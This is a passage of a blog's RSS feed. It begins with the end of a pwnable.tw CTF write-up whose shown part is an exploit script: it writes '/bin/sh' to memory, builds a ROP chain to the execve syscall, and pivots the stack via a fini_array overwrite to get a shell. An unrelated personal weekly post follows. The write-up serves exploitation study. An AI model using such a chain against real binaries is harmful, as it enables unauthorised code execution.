&lt;span&gt;&lt;span&gt;    write_payload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; target&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; b&lt;/span&gt;&lt;span&gt;&quot;/bin/sh&lt;/span&gt;&lt;span&gt;\x00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;ljust&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; b&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\x00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    target &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; 8&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pop_rdi&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;elf&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;bss&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pop_rsi&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pop_rdx&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pop_rax&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;59&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;syscall&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    write_payload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; target&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; payload&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;leave_ret&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pop_rsp&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;target&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    write_payload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; fini_array&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; payload&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    p&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;interactive&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; __name__ &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;__main__&apos;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;References&lt;a href=&quot;#references&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://codebrowser.dev/glibc/glibc/csu/libc-start.c.html&quot;&gt;glibc program startup and static-executable finalization&lt;/a&gt; — background on finalization; this source version is not an identification of the challenge binary’s libc.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://codebrowser.dev/glibc/glibc/stdlib/exit.c.html&quot;&gt;glibc exit-handler implementation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>category:CTF</category><category>category:Binary Exploitation</category><category>tag:pwnable.tw</category><category>tag:pwn</category><category>tag:ROP</category><category>tag:arbitrary-write</category><category>tag:stack-pivot</category></item><item><title>Weekly #1 — Transformers, House and a sore throat</title><link>https://kyst.fyi/zh/post/weekly-001</link><guid isPermaLink="false">zh:weekly-001</guid><description>Watching Transformers and House M.D. while recovering.</description><pubDate>Mon, 26 Oct 2026 03:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Transformers and a sore throat&lt;a href=&quot;#transformers-and-a-sore-throat&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sick with throat inflammation this week, so I’ve been watching
Transformers and House M.D. while recovering.&lt;/p&gt;
&lt;p&gt;Not much of an update. Just a sore throat, giant robots and crazy doctors.&lt;/p&gt;</content:encoded><category>category:Weekly</category><category>tag:Transformers</category><category>tag:House M.D.</category><category>tag:Life</category></item></channel></rss>